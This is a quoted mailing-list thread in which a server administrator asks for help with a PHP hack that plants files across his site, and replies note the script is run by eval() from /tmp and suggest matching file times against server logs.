Re: Re: Hack question

I've not bothered to try and figure out where it came from because hackers spoof their ID anyhow. Eric Butera wrote:

I'm continuing to work on this. One thing that seems obvious. The code executes the script code, using eval(), directly from the /tmp dir. So the usual security tests we do prior to using move_uploaded_file() are useless. Al wrote:

I'm still fighting my hack problem on one of my servers. Can anyone help

me figure out what's the purpose of this code. The hack places this file in numerous dirs on the site, I assume using a php script because the owner is "nobody".

I can sort of figure what is doing; but, I can't figure out what the

hacker is using it for.

Incidentally, I've changed all passwords and restricted ftp to two people.

I see no sign that any code is written with by site owner, i.e, ftp. And, I've looked carefully for suspect php files.

Maybe you can look at the file time on the script in /tmp and look at server logs around that same time to see if that is any hint of where it might have come from.
